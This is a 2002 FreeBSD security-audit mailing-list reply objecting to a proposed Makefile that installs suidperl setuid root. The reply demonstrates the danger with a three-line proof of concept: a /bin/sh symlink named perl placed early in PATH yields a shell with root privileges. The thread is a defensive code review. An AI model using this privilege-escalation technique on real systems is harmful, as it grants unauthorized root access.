Re: suidperl
Tim Robbins <[email protected]>
| Newsgroups | gmane.os.freebsd.devel.audit |
|---|---|
| Message-ID | <[email protected]> |
On Thu, Jul 04, 2002 at 07:15:58PM +0900, Akinori MUSHA wrote:
> Index: src/usr.bin/suidperl/Makefile
> ===================================================================
> RCS file: src/usr.bin/suidperl/Makefile
> diff -N src/usr.bin/suidperl/Makefile
> --- /dev/null 1 Jan 1970 00:00:00 -0000
> +++ src/usr.bin/suidperl/Makefile 4 Jul 2002 10:08:12 -0000
> @@ -0,0 +1,15 @@
> +# $FreeBSD$
> +
> +.PATH: ${.CURDIR}/../perl
> +
> +PROG= suidperl
> +SRCS= perl.c
> +NOMAN=
> +WARNS?= 6
> +
> +BINOWN= root
> +.if defined(ENABLE_SUIDPERL)
> +BINMODE=4555
> +.endif
This is unsafe:
$ ln -s /bin/sh /tmp/perl
$ env PATH=/tmp:$PATH /usr/bin/perl
# id
uid=1001(tim) euid=0(root) gid=1001(tim) groups=1001(tim), 0(wheel)
Tim
To Unsubscribe: send mail to [email protected]
with "unsubscribe freebsd-audit" in the body of the message